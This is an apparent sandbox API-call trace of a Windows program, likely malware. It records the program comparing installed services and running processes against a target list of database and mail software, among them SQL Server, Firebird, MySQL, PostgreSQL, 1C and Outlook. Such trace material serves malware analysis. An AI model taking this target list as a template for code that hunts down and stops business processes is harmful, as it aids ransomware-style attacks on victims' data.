[0049.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0049.826] lstrlenW (lpString="nsi") returned 3 [0049.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0049.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0049.826] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0049.826] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0049.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0049.826] lstrlenW (lpString="PcaSvc") returned 6 [0049.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0049.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0049.826] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0049.826] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0049.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0049.826] lstrlenW (lpString="PlugPlay") returned 8 [0049.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0049.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0049.826] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0049.826] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0049.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0049.826] lstrlenW (lpString="Power") returned 5 [0049.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0049.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0049.827] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0049.827] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0049.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0049.827] lstrlenW (lpString="ProfSvc") returned 7 [0049.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0049.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0049.827] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0049.827] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0049.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0049.827] lstrlenW (lpString="RpcEptMapper") returned 12 [0049.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0049.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0049.827] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0049.827] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0049.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0049.827] lstrlenW (lpString="RpcSs") returned 5 [0049.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0049.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0049.827] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0049.827] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0049.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0049.827] lstrlenW (lpString="SamSs") returned 5 [0049.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0049.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0049.827] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0049.827] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0049.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0049.827] lstrlenW (lpString="Schedule") returned 8 [0049.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0049.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0049.827] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0049.828] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0049.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0049.828] lstrlenW (lpString="SENS") returned 4 [0049.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0049.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0049.828] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0049.828] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0049.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0049.828] lstrlenW (lpString="ShellHWDetection") returned 16 [0049.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0049.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0049.828] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0049.828] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0049.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0049.828] lstrlenW (lpString="Spooler") returned 7 [0049.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0049.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0049.828] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0049.828] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0049.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0049.828] lstrlenW (lpString="swprv") returned 5 [0049.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0049.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0049.828] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0049.828] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0049.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0049.828] lstrlenW (lpString="SysMain") returned 7 [0049.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0049.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0049.828] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0049.828] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0049.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0049.828] lstrlenW (lpString="Themes") returned 6 [0049.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0049.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0049.829] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0049.829] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0049.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0049.829] lstrlenW (lpString="TrkWks") returned 6 [0049.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0049.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0049.829] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0049.829] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0049.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0049.829] lstrlenW (lpString="UxSms") returned 5 [0049.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0049.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0049.829] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0049.829] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0049.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0049.829] lstrlenW (lpString="VSS") returned 3 [0049.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0049.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0049.829] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0049.829] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0049.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0049.829] lstrlenW (lpString="WdiServiceHost") returned 14 [0049.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0049.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0049.829] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0049.829] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0049.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0049.829] lstrlenW (lpString="WdiSystemHost") returned 13 [0049.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0049.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0049.829] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0049.829] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0049.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0049.830] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0049.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0049.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0049.830] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0049.830] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0049.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0049.830] lstrlenW (lpString="Winmgmt") returned 7 [0049.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0049.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0049.830] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0049.830] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0049.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0049.830] lstrlenW (lpString="WPDBusEnum") returned 10 [0049.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0049.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0049.830] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0049.830] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0049.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0049.830] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x26e060 | out: hHeap=0x220000) returned 1 [0049.830] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x214 [0049.832] Process32FirstW (in: hSnapshot=0x214, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0049.833] Process32NextW (in: hSnapshot=0x214, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0049.834] lstrlenW (lpString="System") returned 6 [0049.834] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0049.834] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0049.834] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0049.834] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0049.834] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0049.834] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0049.834] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0049.834] Process32NextW (in: hSnapshot=0x214, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0049.835] lstrlenW (lpString="smss.exe") returned 8 [0049.835] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0049.835] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0049.835] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0049.835] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0049.835] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0049.835] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0049.835] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0049.835] Process32NextW (in: hSnapshot=0x214, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0049.836] lstrlenW (lpString="csrss.exe") returned 9 [0049.836] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0049.836] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0049.836] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0049.836] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0049.836] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0049.836] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0049.836] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0049.836] Process32NextW (in: hSnapshot=0x214, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0049.836] lstrlenW (lpString="wininit.exe") returned 11 [0049.836] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0049.837] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0049.837] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0049.837] Process32NextW (in: hSnapshot=0x214, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0049.837] lstrlenW (lpString="csrss.exe") returned 9 [0049.837] Process32NextW (in: hSnapshot=0x214, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0049.838] lstrlenW (lpString="winlogon.exe") returned 12 [0049.838] Process32NextW (in: hSnapshot=0x214, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0049.839] lstrlenW (lpString="services.exe") returned 12 [0049.839] Process32NextW (in: hSnapshot=0x214, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0049.840] lstrlenW (lpString="lsass.exe") returned 9 [0049.840] Process32NextW (in: hSnapshot=0x214, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0049.840] lstrlenW (lpString="lsm.exe") returned 7 [0049.840] Process32NextW (in: hSnapshot=0x214, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.841] lstrlenW (lpString="svchost.exe") returned 11 [0049.841] Process32NextW (in: hSnapshot=0x214, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.842] lstrlenW (lpString="svchost.exe") returned 11 [0049.842] Process32NextW (in: hSnapshot=0x214, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.842] lstrlenW (lpString="svchost.exe") returned 11 [0049.842] Process32NextW (in: hSnapshot=0x214, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.843] lstrlenW (lpString="svchost.exe") returned 11 [0049.843] Process32NextW (in: hSnapshot=0x214, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.844] lstrlenW (lpString="svchost.exe") returned 11 [0049.844] Process32NextW (in: hSnapshot=0x214, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0049.844] lstrlenW (lpString="audiodg.exe") returned 11 [0049.844] Process32NextW (in: hSnapshot=0x214, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.845] lstrlenW (lpString="svchost.exe") returned 11 [0049.845] Process32NextW (in: hSnapshot=0x214, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.846] lstrlenW (lpString="svchost.exe") returned 11 [0049.846] Process32NextW (in: hSnapshot=0x214, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0049.846] lstrlenW (lpString="dwm.exe") returned 7 [0049.846] Process32NextW (in: hSnapshot=0x214, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0049.847] lstrlenW (lpString="explorer.exe") returned 12 [0049.847] Process32NextW (in: hSnapshot=0x214, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0049.848] lstrlenW (lpString="spoolsv.exe") returned 11 [0049.848] Process32NextW (in: hSnapshot=0x214, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0049.848] lstrlenW (lpString="taskhost.exe") returned 12 [0049.849] Process32NextW (in: hSnapshot=0x214, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.849] lstrlenW (lpString="svchost.exe") returned 11 [0049.849] Process32NextW (in: hSnapshot=0x214, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0049.850] lstrlenW (lpString="taskeng.exe") returned 11 [0049.850] Process32NextW (in: hSnapshot=0x214, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x130, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0049.851] lstrlenW (lpString="taskhost.exe") returned 12 [0049.851] Process32NextW (in: hSnapshot=0x214, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="presidential.exe")) returned 1 [0049.852] lstrlenW (lpString="presidential.exe") returned 16 [0049.852] Process32NextW (in: hSnapshot=0x214, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ol-filing.exe")) returned 1 [0049.852] lstrlenW (lpString="ol-filing.exe") returned 13 [0049.853] Process32NextW (in: hSnapshot=0x214, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="overcome.exe")) returned 1 [0049.853] lstrlenW (lpString="overcome.exe") returned 12 [0049.853] Process32NextW (in: hSnapshot=0x214, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="declinedreferral.exe")) returned 1 [0049.920] lstrlenW (lpString="declinedreferral.exe") returned 20 [0049.920] Process32NextW (in: hSnapshot=0x214, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="franciscotrack.exe")) returned 1 [0049.921] lstrlenW (lpString="franciscotrack.exe") returned 18 [0049.921] Process32NextW (in: hSnapshot=0x214, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nicholas.exe")) returned 1 [0049.922] lstrlenW (lpString="nicholas.exe") returned 12 [0049.922] Process32NextW (in: hSnapshot=0x214, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="asbestosauthentication.exe")) returned 1 [0049.923] lstrlenW (lpString="asbestosauthentication.exe") returned 26 [0049.923] Process32NextW (in: hSnapshot=0x214, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="word.exe")) returned 1 [0049.923] lstrlenW (lpString="word.exe") returned 8 [0049.923] Process32NextW (in: hSnapshot=0x214, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="semestermeta.exe")) returned 1 [0049.924] lstrlenW (lpString="semestermeta.exe") returned 16 [0049.924] Process32NextW (in: hSnapshot=0x214, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reflects.exe")) returned 1 [0049.925] lstrlenW (lpString="reflects.exe") returned 12 [0049.925] Process32NextW (in: hSnapshot=0x214, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="beveragesradios.exe")) returned 1 [0049.925] lstrlenW (lpString="beveragesradios.exe") returned 19 [0049.925] Process32NextW (in: hSnapshot=0x214, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="shaved_extraordinary.exe")) returned 1 